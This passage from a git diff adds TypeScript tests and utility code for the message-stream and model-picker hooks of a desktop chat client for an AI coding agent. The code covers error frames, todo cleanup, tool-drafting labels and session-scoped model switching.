+import type { ClientSessionState } from '@/app/types'
+import { chatMessageText } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let sessionStates: Map<string, ClientSessionState>
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+      sessionStates.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  sessionStates = new Map()
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const start = () => act(() => handleEvent!({ payload: {}, session_id: SID, type: 'message.start' }))
+const delta = (text: string) => act(() => handleEvent!({ payload: { text }, session_id: SID, type: 'message.delta' }))
+
+const completeWithError = (payload: Record<string, unknown>) =>
+  act(() => handleEvent!({ payload: { status: 'error', ...payload }, session_id: SID, type: 'message.complete' }))
+
+function getState(): ClientSessionState {
+  return sessionStates.get(SID) ?? createClientSessionState()
+}
+
+function lastAssistant() {
+  return [...getState().messages].reverse().find(m => m.role === 'assistant' && !m.hidden)
+}
+
+describe('terminal error message.complete frames', () => {
+  beforeEach(() => {
+    handleEvent = null
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('marks the bubble failed from the structured error field, not the text heuristic', async () => {
+    await mountStream()
+    await start()
+    await delta('…')
+
+    // "Error: <detail>" does not match the legacy completionErrorText regexes.
+    await completeWithError({ text: 'Error: invalid model slug', error: 'invalid model slug', recoverable: true })
+
+    const bubble = lastAssistant()
+    expect(bubble?.error).toBe('invalid model slug')
+    expect(getState().busy).toBe(false)
+    expect(getState().awaitingResponse).toBe(false)
+  })
+
+  it('keeps streamed partial text visible on a partial failure', async () => {
+    await mountStream()
+    await start()
+    await delta('half an ans')
+
+    await completeWithError({
+      text: 'half an ans',
+      error: 'connection reset mid-stream',
+      partial: true,
+      recoverable: true
+    })
+
+    const bubble = lastAssistant()
+    expect(bubble?.error).toBe('connection reset mid-stream')
+    expect(chatMessageText(bubble!)).toBe('half an ans')
+    expect(bubble?.pending).toBe(false)
+  })
+
+  it('falls back to the frame text when no error field is present', async () => {
+    await mountStream()
+    await start()
+    await delta('…')
+
+    await completeWithError({ text: 'Error: something broke' })
+
+    const bubble = lastAssistant()
+    expect(bubble?.error).toBe('Error: something broke')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/todo-cleanup.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/todo-cleanup.test.tsx
new file mode 100644
index 000000000..0f7ea2f80
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/todo-cleanup.test.tsx
@@ -0,0 +1,93 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { TodoItem } from '@/lib/todos'
+import { $todosBySession, clearSessionTodos, setSessionTodos } from '@/store/todos'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+const todo = (id: string, status: TodoItem['status']): TodoItem => ({ content: `task ${id}`, id, status })
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const complete = () => act(() => handleEvent!({ payload: { text: 'done' }, session_id: SID, type: 'message.complete' }))
+
+describe('useMessageStream turn-end todo cleanup', () => {
+  beforeEach(() => {
+    handleEvent = null
+    clearSessionTodos(SID)
+  })
+
+  afterEach(() => {
+    cleanup()
+    clearSessionTodos(SID)
+    vi.restoreAllMocks()
+  })
+
+  it('drops a still-active task list when the turn completes', async () => {
+    await mountStream()
+    setSessionTodos(SID, [todo('a', 'completed'), todo('b', 'in_progress')])
+
+    complete()
+
+    expect($todosBySession.get()[SID]).toBeUndefined()
+  })
+
+  it('keeps a finished list on completion so its linger shows the final checkmarks', async () => {
+    await mountStream()
+    setSessionTodos(SID, [todo('a', 'completed')])
+
+    complete()
+
+    // Not cleared immediately — the finished-list linger still owns it.
+    expect($todosBySession.get()[SID]).toHaveLength(1)
+  })
+
+  it('drops a still-active task list when the turn errors out', async () => {
+    await mountStream()
+    setSessionTodos(SID, [todo('a', 'in_progress')])
+
+    act(() => handleEvent!({ payload: { message: 'boom' }, session_id: SID, type: 'error' }))
+
+    expect($todosBySession.get()[SID]).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/tool-drafting-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/tool-drafting-event.test.tsx
new file mode 100644
index 000000000..a1013e60e
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/tool-drafting-event.test.tsx
@@ -0,0 +1,124 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $draftingToolSessions } from '@/store/tool-drafting'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+const OTHER_SID = 'session-2'
+
+// Module-scoped so a test can seed session state (e.g. interrupted) before the
+// handler reads it — `sessionInterrupted` resolves against this map.
+const sessionStates = new Map<string, ClientSessionState>()
+let handleEvent: ((event: RpcEvent) => void) | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(sessionStates)
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const next = updater(sessionStates.get(sessionId) ?? createClientSessionState())
+      sessionStates.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+function emit(type: RpcEvent['type'], payload: RpcEvent['payload'] = {}, sessionId = SID) {
+  act(() => handleEvent!({ payload, session_id: sessionId, type }))
+}
+
+function draftedTool(sessionId = SID) {
+  return $draftingToolSessions.get()[sessionId]?.name
+}
+
+describe('drafting-tool label lifecycle', () => {
+  beforeEach(() => {
+    handleEvent = null
+    sessionStates.clear()
+    $draftingToolSessions.set({})
+  })
+
+  afterEach(() => {
+    cleanup()
+    sessionStates.clear()
+    $draftingToolSessions.set({})
+    vi.restoreAllMocks()
+  })
+
+  it('names the tool the model is drafting', async () => {
+    await mountStream()
+
+    emit('tool.generating', { name: 'write_file' })
+
+    expect(draftedTool()).toBe('write_file')
+  })
+
+  // The label used to be retired only by the events that mean "this tool ran".
+  // A tool can be abandoned without ever reaching `tool.start` — a mid-stream
+  // retry drops a partial call, a guardrail-blocked tool skips the lifecycle
+  // callbacks — and the name then sat on screen for the rest of the turn.
+  it.each([
+    ['message.delta', { text: 'never mind' }],
+    ['reasoning.delta', { text: 'reconsidering' }],
+    ['thinking.delta', { text: 'reconsidering' }],
+    ['tool.start', { name: 'terminal', tool_id: 'tool-1' }],
+    ['tool.complete', { name: 'terminal', tool_id: 'tool-1' }],
+    ['message.complete', { text: 'done' }],
+    ['error', { message: 'boom' }]
+  ] as const)('retires the label when %s proves the model moved on', async (type, payload) => {
+    await mountStream()
+    emit('tool.generating', { name: 'write_file' })
+
+    emit(type, payload)
+
+    expect(draftedTool()).toBeUndefined()
+  })
+
+  it('leaves another session’s label alone', async () => {
+    await mountStream()
+    emit('tool.generating', { name: 'patch' }, OTHER_SID)
+    emit('tool.generating', { name: 'write_file' })
+
+    emit('message.delta', { text: 'moving on' })
+
+    expect(draftedTool()).toBeUndefined()
+    expect(draftedTool(OTHER_SID)).toBe('patch')
+  })
+
+  // A stopped turn can still emit a frame or two before the backend notices.
+  it('ignores a tool announced after the user hit stop', async () => {
+    sessionStates.set(SID, { ...createClientSessionState(), interrupted: true })
+    await mountStream()
+
+    emit('tool.generating', { name: 'write_file' })
+
+    expect(draftedTool()).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/utils.test.ts b/ui-desktop/src/app/session/hooks/use-message-stream/utils.test.ts
new file mode 100644
index 000000000..479943550
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/utils.test.ts
@@ -0,0 +1,66 @@
+import { describe, expect, it } from 'vitest'
+
+import type { GatewayEventPayload } from '@/lib/chat-messages'
+
+import {
+  completionErrorText,
+  delegateTaskPayloads,
+  hasSessionInfoStatePatch,
+  sessionInfoStatePatch,
+  toTodoPayload
+} from './utils'
+
+const payload = (over: Record<string, unknown>): GatewayEventPayload => over as GatewayEventPayload
+
+describe('completionErrorText', () => {
+  it('flags provider/HTTP/retry failures, ignores normal text', () => {
+    expect(completionErrorText('API call failed after 3 retries: boom')).toMatch(/^API call failed/)
+    expect(completionErrorText('HTTP 500 upstream')).toMatch(/^HTTP 500/)
+    expect(completionErrorText('Gateway error: nope')).toMatch(/^Gateway error/)
+    expect(completionErrorText('here is your answer')).toBeNull()
+    expect(completionErrorText('   ')).toBeNull()
+  })
+})
+
+describe('toTodoPayload', () => {
+  it('routes named todo and anonymous todos-bearing events to the todo stream', () => {
+    expect(toTodoPayload(payload({ name: 'todo' }))?.tool_id).toBe('todo-live')
+    expect(toTodoPayload(payload({ todos: [] }))?.name).toBe('todo')
+    expect(toTodoPayload(payload({ name: 'web_search' }))).toBeUndefined()
+    expect(toTodoPayload(undefined)).toBeUndefined()
+  })
+})
+
+describe('sessionInfoStatePatch / hasSessionInfoStatePatch', () => {
+  it('extracts only present runtime fields', () => {
+    const patch = sessionInfoStatePatch(payload({ model: 'gpt', fast: true, branch: 'main' }))
+    expect(patch).toMatchObject({ model: 'gpt', fast: true, branch: 'main' })
+    expect(hasSessionInfoStatePatch(patch)).toBe(true)
+    expect(hasSessionInfoStatePatch(sessionInfoStatePatch(payload({})))).toBe(false)
+  })
+})
+
+describe('delegateTaskPayloads', () => {
+  it('returns [] for non-delegate events', () => {
+    expect(delegateTaskPayloads(payload({ name: 'web_search' }), 'running')).toEqual([])
+  })
+
+  it('maps a running tool.start to a subagent.start spec', () => {
+    const [spec] = delegateTaskPayloads(
+      payload({ name: 'delegate_task', tool_id: 't1', args: { goal: 'do it' } }),
+      'running',
+      'tool.start'
+    )
+
+    expect(spec).toMatchObject({ event_type: 'subagent.start', goal: 'do it', status: 'running' })
+  })
+
+  it('maps completion (with error) to a failed subagent.complete', () => {
+    const [spec] = delegateTaskPayloads(
+      payload({ name: 'delegate_task', error: 'boom', result: { summary: 'failed run' } }),
+      'complete'
+    )
+
+    expect(spec).toMatchObject({ event_type: 'subagent.complete', status: 'failed' })
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/utils.ts b/ui-desktop/src/app/session/hooks/use-message-stream/utils.ts
new file mode 100644
index 000000000..0da749276
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/utils.ts
@@ -0,0 +1,185 @@
+import type { GatewayEventPayload } from '@/lib/chat-messages'
+import { normalizePersonalityValue } from '@/lib/chat-runtime'
+
+import type { ClientSessionState } from '../../../types'
+
+type SessionRuntimeStatePatch = Partial<
+  Pick<
+    ClientSessionState,
+    'branch' | 'cwd' | 'fast' | 'model' | 'personality' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'
+  >
+>
+
+export function sessionInfoStatePatch(payload: GatewayEventPayload | undefined): SessionRuntimeStatePatch {
+  const patch: SessionRuntimeStatePatch = {}
+
+  if (typeof payload?.model === 'string') {
+    patch.model = payload.model || ''
+  }
+
+  if (typeof payload?.provider === 'string') {
+    patch.provider = payload.provider || ''
+  }
+
+  if (typeof payload?.cwd === 'string') {
+    patch.cwd = payload.cwd
+  }
+
+  if (typeof payload?.branch === 'string') {
+    patch.branch = payload.branch
+  }
+
+  if (typeof payload?.personality === 'string') {
+    patch.personality = normalizePersonalityValue(payload.personality)
+  }
+
+  if (typeof payload?.reasoning_effort === 'string') {
+    patch.reasoningEffort = payload.reasoning_effort
+  }
+
+  if (typeof payload?.service_tier === 'string') {
+    patch.serviceTier = payload.service_tier
+  }
+
+  if (typeof payload?.fast === 'boolean') {
+    patch.fast = payload.fast
+  }
+
+  if (typeof payload?.yolo === 'boolean') {
+    patch.yolo = payload.yolo
+  }
+
+  return patch
+}
+
+export function hasSessionInfoStatePatch(patch: SessionRuntimeStatePatch): boolean {
+  return Object.keys(patch).length > 0
+}
+
+// Minimum gap between two assistant-text flushes during a stream. Was 16ms
+// (rAF only), which at typical LLM token rates of ~30-80 tok/sec meant every
+// token got its own React commit + Streamdown markdown re-parse, scaling
+// linearly with the growing last-block length. Bumping to 33ms lets ~2 tokens
+// batch into one commit at 60 tok/sec without introducing visible lag on the
+// streaming text (still 30 fps of visible text growth). Big perceived
+// smoothness win on long messages with big trailing paragraphs; see
+// `scripts/profile-typing-lag.md` for the measurement work behind this.
+export const STREAM_DELTA_FLUSH_MS = 33
+
+// Ceiling for the ADAPTIVE flush gap (see scheduleDeltaFlush). Under heavy
+// multi-stream load the gap stretches to 3x the measured flush cost so the
+// main thread stays responsive to input; this cap guarantees streaming text
+// still visibly updates at least ~4x per second no matter the load.
+export const MAX_STREAM_FLUSH_GAP_MS = 250
+
+// Gateway/provider failures sometimes arrive as message.complete text instead
+// of an explicit error event. Treat matches as inline assistant errors so they
+// persist like real error events and don't get erased by hydrate fallback.
+const COMPLETION_ERROR_PATTERNS = [
+  /^API call failed after \d+ retries:/i,
+  /^HTTP\s+\d{3}\b/i,
+  /^(Provider|Gateway)\s+error:/i
+]
+
+export function completionErrorText(finalText: string): string | null {
+  const text = finalText.trim()
+
+  return text && COMPLETION_ERROR_PATTERNS.some(re => re.test(text)) ? text : null
+}
+
+export const SUBAGENT_EVENT_TYPES = new Set([
+  'subagent.spawn_requested',
+  'subagent.start',
+  'subagent.thinking',
+  'subagent.tool',
+  'subagent.progress',
+  'subagent.complete'
+])
+
+// Anonymous progress events that carry todos but no name still belong to the
+// todo stream; named todo events are obviously routed there too.
+export function toTodoPayload(payload: GatewayEventPayload | undefined): GatewayEventPayload | undefined {
+  if (!payload) {
+    return undefined
+  }
+
+  const isTodo = payload.name === 'todo' || (!payload.name && Object.hasOwn(payload, 'todos'))
+
+  return isTodo ? { ...payload, name: 'todo', tool_id: payload.tool_id || 'todo-live' } : undefined
+}
+
+function asRecord(value: unknown): Record<string, unknown> {
+  return value && typeof value === 'object' && !Array.isArray(value) ? (value as Record<string, unknown>) : {}
+}
+
+function parseMaybeRecord(value: unknown): Record<string, unknown> {
+  if (typeof value === 'string') {
+    try {
+      return asRecord(JSON.parse(value))
+    } catch {
+      return {}
+    }
+  }
+
+  return asRecord(value)
+}
+
+const firstString = (...candidates: unknown[]): string => {
+  for (const v of candidates) {
+    if (typeof v === 'string' && v) {
+      return v
+    }
+  }
+
+  return ''
+}
+
+export function delegateTaskPayloads(
+  payload: GatewayEventPayload | undefined,
+  phase: 'running' | 'complete',
+  sourceEventType?: string
+): Record<string, unknown>[] {
+  if (payload?.name !== 'delegate_task') {
+    return []
+  }
+
+  const args = parseMaybeRecord(payload.args ?? payload.input)
+  const result = parseMaybeRecord(payload.result)
+  const rawTasks = Array.isArray(args.tasks) ? args.tasks : []
+  const tasks = rawTasks.length ? rawTasks.map(parseMaybeRecord) : [args]
+  const status = phase === 'complete' ? (payload.error ? 'failed' : 'completed') : 'running'
+  const toolId = payload.tool_id || payload.tool_call_id || payload.id || 'delegate_task'
+  const progressText = firstString(payload.preview, payload.message, payload.context)
+
+  const eventType =
+    phase === 'complete'
+      ? 'subagent.complete'
+      : sourceEventType === 'tool.start'
+        ? 'subagent.start'
+        : 'subagent.progress'
+
+  return tasks.map((task, index) => {
+    const goal = firstString(task.goal, args.goal, payload.context) || 'Delegated task'
+    const summary = firstString(result.summary, payload.summary, payload.message)
+
+    return {
+      depth: 0,
+      duration_seconds: payload.duration_s,
+      goal,
+      status,
+      subagent_id: `delegate-tool:${toolId}:${index}`,
+      summary: summary || undefined,
+      task_count: tasks.length,
+      task_index: index,
+      text: eventType === 'subagent.progress' ? progressText || goal : undefined,
+      tool_name: eventType === 'subagent.start' ? 'delegate_task' : undefined,
+      tool_preview: eventType === 'subagent.start' ? progressText : undefined,
+      toolsets: Array.isArray(task.toolsets) ? task.toolsets : Array.isArray(args.toolsets) ? args.toolsets : [],
+      event_type: eventType,
+      output_tail:
+        phase === 'complete' && summary
+          ? [{ is_error: Boolean(payload.error), preview: summary, tool: 'delegate_task' }]
+          : undefined
+    }
+  })
+}
diff --git a/ui-desktop/src/app/session/hooks/use-model-controls.test.tsx b/ui-desktop/src/app/session/hooks/use-model-controls.test.tsx
new file mode 100644
index 000000000..0bb855f06
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-model-controls.test.tsx
@@ -0,0 +1,561 @@
+import { QueryClient } from '@tanstack/react-query'
+import { cleanup, render, renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { getGlobalModelInfo } from '@/clawcodex'
+import { modelOptionsQueryKey } from '@/lib/model-options'
+import { $activeGatewayProfile } from '@/store/profile'
+import {
+  $activeSessionId,
+  $currentModel,
+  $currentProvider,
+  getCurrentModelSource,
+  setCurrentModel,
+  setCurrentModelSource,
+  setCurrentProvider
+} from '@/store/session'
+import type * as SessionStates from '@/store/session-states'
+
+import { useModelControls } from './use-model-controls'
+
+const setGlobalModel = vi.fn()
+const notifyError = vi.fn()
+
+function deferred<T>() {
+  let resolve!: (value: T | PromiseLike<T>) => void
+
+  const promise = new Promise<T>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelInfo: vi.fn(),
+  setApiRequestProfile: vi.fn(),
+  setGlobalModel: (...args: Parameters<typeof setGlobalModel>) => setGlobalModel(...args)
+}))
+
+vi.mock('@/store/session-states', async importOriginal => {
+  const actual = await importOriginal<typeof SessionStates>()
+
+  return {
+    ...actual,
+    sessionTileDelegate: () => null
+  }
+})
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      desktop: {
+        modelSwitchFailed: 'Model switch failed'
+      }
+    }
+  })
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notifyError: (...args: Parameters<typeof notifyError>) => notifyError(...args)
+}))
+
+type Controls = ReturnType<typeof useModelControls>
+
+function Harness({
+  onReady,
+  requestGateway
+}: {
+  onReady: (controls: Controls) => void
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}) {
+  const controls = useModelControls({
+    queryClient: new QueryClient(),
+    requestGateway
+  })
+
+  onReady(controls)
+
+  return null
+}
+
+describe('useModelControls', () => {
+  beforeEach(() => {
+    $activeGatewayProfile.set('default')
+    $activeSessionId.set(null)
+    setCurrentModel('')
+    setCurrentModelSource('')
+    setCurrentProvider('')
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    $activeGatewayProfile.set('default')
+    $activeSessionId.set(null)
+    setCurrentModel('')
+    setCurrentModelSource('')
+    setCurrentProvider('')
+  })
+
+  it('applies the global model when there is no active runtime session', async () => {
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({
+      model: 'openai/gpt-5.5',
+      provider: 'openai-codex'
+    })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('openai/gpt-5.5')
+    expect($currentProvider.get()).toBe('openai-codex')
+    expect(getCurrentModelSource()).toBe('default')
+  })
+
+  it('does not clobber the active session footer state with global model info', async () => {
+    setCurrentModel('deepseek/deepseek-v4-pro')
+    setCurrentProvider('deepseek')
+    $activeSessionId.set('runtime-1')
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({
+      model: 'openai/gpt-5.5',
+      provider: 'openai-codex'
+    })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('deepseek/deepseek-v4-pro')
+    expect($currentProvider.get()).toBe('deepseek')
+  })
+
+  it('keeps a live session authoritative when Settings saves a new profile default', async () => {
+    const queryClient = new QueryClient()
+    $activeSessionId.set('runtime-1')
+    setCurrentModel('tencent/hy3:free')
+    setCurrentProvider('nous')
+    setCurrentModelSource('manual')
+    queryClient.setQueryData(modelOptionsQueryKey('default'), {
+      model: 'tencent/hy3:free',
+      provider: 'nous',
+      providers: []
+    })
+    queryClient.setQueryData(modelOptionsQueryKey('default', 'runtime-1'), {
+      model: 'tencent/hy3:free',
+      provider: 'nous',
+      providers: []
+    })
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({
+      model: 'poolside/laguna-xs-2.1:free',
+      provider: 'nous'
+    })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient,
+        requestGateway: vi.fn()
+      })
+    )
+
+    result.current.applySavedMainModel('nous', 'poolside/laguna-xs-2.1:free')
+    await result.current.refreshCurrentModel()
+
+    // Settings changes the profile default, not the active session. The footer
+    // and its session-scoped picker cache must keep showing the live runtime.
+    expect($currentModel.get()).toBe('tencent/hy3:free')
+    expect($currentProvider.get()).toBe('nous')
+    expect(queryClient.getQueryData(modelOptionsQueryKey('default', 'runtime-1'))).toMatchObject({
+      model: 'tencent/hy3:free',
+      provider: 'nous'
+    })
+
+    // The global cache reflects the save, and the next fresh draft may reseed
+    // from that default instead of preserving the old session's model.
+    expect(getCurrentModelSource()).toBe('default')
+    expect(queryClient.getQueryData(modelOptionsQueryKey('default'))).toMatchObject({
+      model: 'poolside/laguna-xs-2.1:free',
+      provider: 'nous'
+    })
+
+    $activeSessionId.set(null)
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('poolside/laguna-xs-2.1:free')
+    expect($currentProvider.get()).toBe('nous')
+  })
+
+  it('paints a saved profile default immediately when no session is active', () => {
+    const queryClient = new QueryClient()
+    setCurrentModel('tencent/hy3:free')
+    setCurrentProvider('nous')
+    setCurrentModelSource('manual')
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient,
+        requestGateway: vi.fn()
+      })
+    )
+
+    result.current.applySavedMainModel('nous', 'poolside/laguna-xs-2.1:free')
+
+    expect($currentModel.get()).toBe('poolside/laguna-xs-2.1:free')
+    expect($currentProvider.get()).toBe('nous')
+    expect(getCurrentModelSource()).toBe('default')
+    expect(queryClient.getQueryData(modelOptionsQueryKey('default'))).toMatchObject({
+      model: 'poolside/laguna-xs-2.1:free',
+      provider: 'nous'
+    })
+  })
+
+  it('routes active-session picker changes through config.set with an explicit session-scoped provider', async () => {
+    $activeSessionId.set('session-1')
+    const requestGateway = vi.fn(async () => ({ key: 'model', value: 'claude-sonnet-4.6' }) as never)
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(
+      controls.selectModel({
+        model: 'claude-sonnet-4.6',
+        provider: 'anthropic'
+      })
+    ).resolves.toBe(true)
+
+    expect(requestGateway).toHaveBeenCalledWith('config.set', {
+      session_id: 'session-1',
+      key: 'model',
+      value: 'claude-sonnet-4.6 --provider anthropic --session'
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+  })
+
+  it('keeps a mid-turn pick painted and skips the refetch that would repaint the old model', async () => {
+    // The gateway queues a switch made during a turn and applies it at the next
+    // turn start. Invalidating now would answer with the still-running model
+    // and overwrite the user's choice in the pill.
+    $activeSessionId.set('session-1')
+    const requestGateway = vi.fn(async () => ({ deferred: true, key: 'model', value: 'grok-4.5' }) as never)
+    const invalidate = vi.spyOn(QueryClient.prototype, 'invalidateQueries')
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(controls.selectModel({ model: 'grok-4.5', provider: 'xai' })).resolves.toBe(true)
+
+    expect($currentModel.get()).toBe('grok-4.5')
+    expect($currentProvider.get()).toBe('xai')
+    expect(invalidate).not.toHaveBeenCalled()
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('still refetches after a switch that applied immediately', async () => {
+    $activeSessionId.set('session-1')
+    const requestGateway = vi.fn(async () => ({ key: 'model', scope: 'session', value: 'grok-4.5' }) as never)
+    const invalidate = vi.spyOn(QueryClient.prototype, 'invalidateQueries')
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await controls.selectModel({ model: 'grok-4.5', provider: 'xai' })
+
+    expect(invalidate).toHaveBeenCalled()
+  })
+
+  it('keeps the pick when an OLDER gateway refuses a mid-turn switch', async () => {
+    // Pre-deferral backends answer 4009 instead of parking the pick. Rolling
+    // back would bounce the pill to the old model and toast an error at a user
+    // who did nothing wrong; the pick still applies to the next turn.
+    $activeSessionId.set('session-1')
+    setCurrentModel('fable-5')
+    setCurrentProvider('nous')
+
+    const requestGateway = vi.fn(async () => {
+      throw new Error('session busy — /interrupt the current turn before switching models')
+    })
+
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(controls.selectModel({ model: 'grok-4.5', provider: 'xai' })).resolves.toBe(true)
+
+    expect($currentModel.get()).toBe('grok-4.5')
+    expect($currentProvider.get()).toBe('xai')
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('still rolls back and reports a real switch failure', async () => {
+    $activeSessionId.set('session-1')
+    setCurrentModel('fable-5')
+    setCurrentProvider('nous')
+
+    const requestGateway = vi.fn(async () => {
+      throw new Error('no such model')
+    })
+
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(controls.selectModel({ model: 'bogus', provider: 'xai' })).resolves.toBe(false)
+
+    expect($currentModel.get()).toBe('fable-5')
+    expect($currentProvider.get()).toBe('nous')
+    expect(notifyError).toHaveBeenCalled()
+  })
+
+  it('session-scopes MoA preset selections so they cannot persist as the global gateway default', async () => {
+    $activeSessionId.set('session-1')
+    const requestGateway = vi.fn(async () => ({ key: 'model', value: 'BeastMode' }) as never)
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(
+      controls.selectModel({
+        model: 'BeastMode',
+        provider: 'moa'
+      })
+    ).resolves.toBe(true)
+
+    expect(requestGateway).toHaveBeenCalledWith('config.set', {
+      session_id: 'session-1',
+      key: 'model',
+      value: 'BeastMode --provider moa --session'
+    })
+  })
+
+  it('stores a no-session pick as UI state with no gateway or global write', async () => {
+    const requestGateway = vi.fn()
+    let controls!: Controls
+
+    render(<Harness onReady={value => (controls = value)} requestGateway={requestGateway} />)
+
+    await expect(
+      controls.selectModel({
+        model: 'claude-sonnet-4.6',
+        provider: 'anthropic'
+      })
+    ).resolves.toBe(true)
+
+    // The pick is plain UI state; session.create ships it later. Nothing touches
+    // the gateway or the profile default here.
+    expect($currentModel.get()).toBe('claude-sonnet-4.6')
+    expect($currentProvider.get()).toBe('anthropic')
+    expect(getCurrentModelSource()).toBe('manual')
+    expect(requestGateway).not.toHaveBeenCalled()
+    expect(setGlobalModel).not.toHaveBeenCalled()
+  })
+
+  it('updates only the active profile new-chat cache', async () => {
+    const queryClient = new QueryClient()
+    $activeGatewayProfile.set('compass')
+
